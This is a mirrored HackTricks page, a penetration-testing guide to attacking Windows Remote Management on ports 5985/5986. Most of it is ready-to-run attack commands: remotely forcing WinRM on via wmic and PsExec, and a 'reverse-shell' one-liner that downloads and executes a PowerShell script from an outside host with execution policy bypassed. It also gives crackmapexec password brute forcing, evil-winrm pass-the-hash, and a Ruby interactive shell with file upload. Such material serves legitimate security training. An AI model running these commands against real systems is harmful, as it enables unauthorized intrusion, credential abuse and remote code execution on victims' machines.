mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 09:27:32 +00:00
236 lines
8.1 KiB
Markdown
236 lines
8.1 KiB
Markdown
---
|
|
description: >-
|
|
https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/
|
|
---
|
|
|
|
# 5985,5986 - Pentesting WinRM
|
|
|
|
## WinRM
|
|
|
|
[Windows Remote Management](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426%28v=vs.85%29.aspx) \(WinRM\) is a Microsoft protocol that **allows remote management of Windows machines** over HTTP\(S\) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
|
|
|
|
If WinRM is enabled on the machine, it's trivial to remotely administer the machine from PowerShell. In fact, you can just drop in to a remote PowerShell session on the machine \(as if you were using SSH!\)
|
|
|
|
The easiest way to detect whether WinRM is available is by seeing if the port is opened. WinRM will listen on one of two ports:
|
|
|
|
* **5985/tcp \(HTTP\)**
|
|
* **5986/tcp \(HTTPS\)**
|
|
|
|
If one of these ports is open, WinRM is configured and you can try entering a remote session.
|
|
|
|
## **Initiating WinRM Session**.
|
|
|
|
We first have to configure our attack machine to work with WinRM as well. We need to enable it and add any "victims" as trusted hosts. From an elevated PowerShell prompt, run the following two commands:
|
|
|
|
```text
|
|
Enable-PSRemoting -Force
|
|
Set-Item wsman:\localhost\client\trustedhosts *
|
|
```
|
|
|
|
This adds a wildcard to the trustedhosts setting. Be wary of what that entails. _Note: I also had to change the network type on my attack machine from "Public" to "Work" network._
|
|
|
|
You can also **activate** WinRM **remotely** _****_using _wmic_:
|
|
|
|
```text
|
|
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
|
|
```
|
|
|
|
### Test if configured
|
|
|
|
Once the attack machine is configured, use the `Test-WSMan` function to test whether the target is configured for WinRM. You should see some information returned about the protocol version and wsmid:
|
|
|
|
![](../.gitbook/assets/image%20%28230%29.png)
|
|
|
|
![](../.gitbook/assets/image%20%28206%29.png)
|
|
|
|
In this case the first one is configured and the second isn't.
|
|
|
|
### Execute a command
|
|
|
|
Now we can use PowerShell's `Invoke-Command` to remotely execute a command on the target over WinRM. To remotely run `ipconfig` and see the output:
|
|
|
|
```text
|
|
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
|
|
```
|
|
|
|
![](../.gitbook/assets/image%20%2819%29.png)
|
|
|
|
You can also **execute a command of your current PS console via** _**Invoke-Command**_. Suppose that you have locally a function called _**enumeration**_ and you want to **execute it in a remote computer**, you can do:
|
|
|
|
```ruby
|
|
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
|
|
```
|
|
|
|
### Execute a Script
|
|
|
|
```ruby
|
|
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
|
|
```
|
|
|
|
### Get reverse-shell
|
|
|
|
```ruby
|
|
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
|
|
```
|
|
|
|
### Get a PS session
|
|
|
|
Or, if you want to drop right into an interactive PowerShell session, use the `Enter-PSSession` function:
|
|
|
|
```ruby
|
|
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
|
|
```
|
|
|
|
![](../.gitbook/assets/image%20%2892%29.png)
|
|
|
|
**The session will run in a new process \(wsmprovhost\) inside the "victim"**
|
|
|
|
### **Forcing WinRM Open**
|
|
|
|
If you really want to use PS Remoting and WinRM but the target isn't configured for it, you could "force" it on through a single command. I wouldn't recommend this but if you really wanted to use WinRM or PSRemoting than by all means do it this way. For example, using PSExec:
|
|
|
|
```text
|
|
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
|
|
```
|
|
|
|
Now we can enter a remote PS session on the victim.
|
|
|
|
### Saving and Restoring sessions
|
|
|
|
This **won't work** if the the **language** is **constrained** in the remote computer.
|
|
|
|
```ruby
|
|
#You can save a session inside a variable
|
|
$sess1 = New-PSSession -ComputerName <computername>
|
|
#And restore it at any moment doing
|
|
Enter-PSSession -Session $sess1
|
|
```
|
|
|
|
Inside this sessions you can load PS scripts using _Invoke-Command_
|
|
|
|
```ruby
|
|
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
|
|
```
|
|
|
|
### Errors
|
|
|
|
If you find the following error:
|
|
|
|
`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
|
|
|
|
The try on the client \(info from [here](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)\):
|
|
|
|
```ruby
|
|
winrm quickconfig
|
|
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
|
|
```
|
|
|
|
## WinRM connection in linux
|
|
|
|
### Brute Force
|
|
|
|
Be careful, brute-forcing winrm could block users.
|
|
|
|
```ruby
|
|
#Brute force
|
|
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
|
|
|
#Just check a pair of credentials
|
|
## Username + Password + CMD command execution
|
|
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
|
|
## Username + Hash + PS command execution
|
|
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
|
|
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
|
|
```
|
|
|
|
### Using evil-winrm
|
|
|
|
```ruby
|
|
gem install evil-winrm
|
|
```
|
|
|
|
Read **documentation** on its github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
|
|
|
```ruby
|
|
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
|
|
```
|
|
|
|
To use evil-winrm to connect to an **IPv6 address** create an entry inside _**/etc/hosts**_ setting a **domain name** to the IPv6 address and connect to that domain.
|
|
|
|
### Pass the hash with evil-winrm
|
|
|
|
```ruby
|
|
evil-winrm -u <username> -H <Hash> -i <IP>
|
|
```
|
|
|
|
![](../.gitbook/assets/image%20%2835%29.png)
|
|
|
|
### Using a PS-docker machine
|
|
|
|
```text
|
|
docker run -it quickbreach/powershell-ntlm
|
|
$creds = Get-Credential
|
|
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
|
|
```
|
|
|
|
### Using a ruby script
|
|
|
|
Code extracted from here: [https://alamot.github.io/winrm\_shell/](https://alamot.github.io/winrm_shell/)
|
|
|
|
```ruby
|
|
require 'winrm-fs'
|
|
|
|
# Author: Alamot
|
|
# To upload a file type: UPLOAD local_path remote_path
|
|
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
|
|
|
|
|
|
conn = WinRM::Connection.new(
|
|
endpoint: 'https://IP:PORT/wsman',
|
|
transport: :ssl,
|
|
user: 'username',
|
|
password: 'password',
|
|
:no_ssl_peer_verification => true
|
|
)
|
|
|
|
|
|
class String
|
|
def tokenize
|
|
self.
|
|
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
|
|
select {|s| not s.empty? }.
|
|
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
|
|
end
|
|
end
|
|
|
|
|
|
command=""
|
|
file_manager = WinRM::FS::FileManager.new(conn)
|
|
|
|
|
|
conn.shell(:powershell) do |shell|
|
|
until command == "exit\n" do
|
|
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
|
|
print(output.output.chomp)
|
|
command = gets
|
|
if command.start_with?('UPLOAD') then
|
|
upload_command = command.tokenize
|
|
print("Uploading " + upload_command[1] + " to " + upload_command[2])
|
|
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
|
|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
|
|
end
|
|
command = "echo `nOK`n"
|
|
end
|
|
output = shell.run(command) do |stdout, stderr|
|
|
STDOUT.print(stdout)
|
|
STDERR.print(stderr)
|
|
end
|
|
end
|
|
puts("Exiting with code #{output.exitcode}")
|
|
end
|
|
```
|
|
|
|
## Shodan
|
|
|
|
* `port:5985 Microsoft-HTTPAPI`
|
|
|